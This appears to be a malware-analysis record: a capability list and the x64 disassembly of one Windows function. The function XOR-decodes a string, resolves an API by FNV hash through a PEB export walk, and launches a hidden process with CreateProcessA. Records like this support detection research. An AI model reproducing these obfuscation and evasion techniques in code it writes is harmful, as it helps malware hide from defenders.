Function at 0x140045ad0
Capabilities:
Access peb ldr_data
Create process on windows
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x290
mov rax, qword [0x1400d5058]
xor rax, rsp
mov qword [rsp + 0x280], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xe0], xmm0
movups xmmword [rsp + 0xf0], xmm0
movups xmmword [rsp + 0x100], xmm0
movups xmmword [rsp + 0x110], xmm0
movups xmmword [rsp + 0x120], xmm0
movups xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rax
movups xmmword [rsp + 0xa8], xmm0
mov qword [rsp + 0xb8], rax
mov r8d, 0x104
lea rdx, [rsp + 0x170]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rdx, [rsp + 0x170]
lea rcx, [rsp + 0x150]
call fcn.140004a60
nop
lea rdx, [rsp + 0x70]
call fcn.140045e10
mov r9, rax
lea r11, [rax + 1]
lea r8, [rax + 3]
mov r10, 0xfffffffffffffffd
sub r10, rax
nop dword [rax]
nop word [rax + rax]
lea rcx, [r10 + r11]
movzx edx, byte [rcx + r8]
xor dl, byte [r9]
mov byte [r8 - 2], dl
movzx eax, byte [r9]
xor byte [r8 - 1], al
movzx eax, byte [r9]
xor byte [r8], al
movzx eax, byte [r9]
xor byte [r8 + 1], al
movzx eax, byte [r9]
xor byte [r8 + 2], al
movzx eax, byte [r9]
xor byte [r8 + 3], al
movzx eax, byte [r9]
xor byte [r8 + 4], al
movzx eax, byte [r9]
xor byte [r8 + 5], al
movzx eax, byte [r9]
xor byte [r8 + 6], al
movzx eax, byte [r9]
xor byte [r8 + 7], al
movzx eax, byte [r9]
xor byte [r8 + 8], al
movzx eax, byte [r9]
xor byte [r8 + 9], al
movzx eax, byte [r9]
xor byte [r8 + 0xa], al
movzx eax, byte [r9]
xor byte [r8 + 0xb], al
movzx eax, byte [r9]
xor byte [r8 + 0xc], al
movzx eax, byte [r9]
xor byte [r8 + 0xd], al
movzx eax, byte [r9]
xor byte [r8 + 0xe], al
movzx eax, byte [r9]
xor byte [r8 + 0xf], al
movzx eax, byte [r9]
xor byte [r8 + 0x10], al
movzx eax, byte [r9]
xor byte [r8 + 0x11], al
movzx eax, byte [r9]
xor byte [r8 + 0x12], al
movzx eax, byte [r9]
xor byte [r8 + 0x13], al
movzx eax, byte [r9]
xor byte [r8 + 0x14], al
movzx eax, byte [r9]
xor byte [r8 + 0x15], al
movzx eax, byte [r9]
xor byte [r8 + 0x16], al
lea r8, [r8 + 0x19]
lea rax, [r10 + r8]
cmp rax, 0x32
jb 0x140045ba0
mov byte [r11 + 0x32], 0
mov rdx, r11
lea rcx, [rsp + 0xc0]
call fcn.140004a60
nop
lea rdx, [rsp + 0x150]
lea rcx, [rsp + 0x50]
call fcn.140046bb0
nop
mov rdx, rax
lea rcx, [rsp + 0xc0]
call fcn.140046a30
nop
lea rcx, [rsp + 0x50]
call fcn.140004a00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov ebp, dword [rcx + rbx + 0x88]
add rbp, rbx
cmp rbp, rbx
je 0x140045d68
mov r11d, dword [rbp + 0x18]
test r11d, r11d
je 0x140045d68
mov esi, dword [rbp + 0x20]
nop dword [rax]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x7eace969
movzx ecx, byte [r9]
inc r9
test cl, cl
je 0x140045d63
nop
movsx edx, cl
sub cl, 0x41
mov r8d, edx
or r8d, 0x20
cmp cl, 0x19
cmova r8d, edx
xor r8d, r10d
imul r10d, r8d, 0x1000193
movzx ecx, byte [r9]
lea r9, [r9 + 1]
test cl, cl
jne 0x140045d30
cmp r10d, 0x6ce37eec
je 0x140045d70
test r11d, r11d
jne 0x140045d10
mov rax, qword [rax]
jmp 0x140045ce0
mov ecx, dword [rbp + 0x24]
add rcx, rbx
movzx edx, word [rcx + r11*2]
mov ecx, dword [rbp + 0x1c]
add rcx, rbx
mov eax, dword [rcx + rdx*4]
add rax, rbx
mov ecx, reloc.WS2_32.dll_socket
call rax
lea rcx, [rsp + 0xc0]
call fcn.1400049d0
lea rcx, [rsp + 0xa8]
mov qword [rsp + 0x48], rcx
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x40], rcx
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], ecx
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_quick_exit]
int3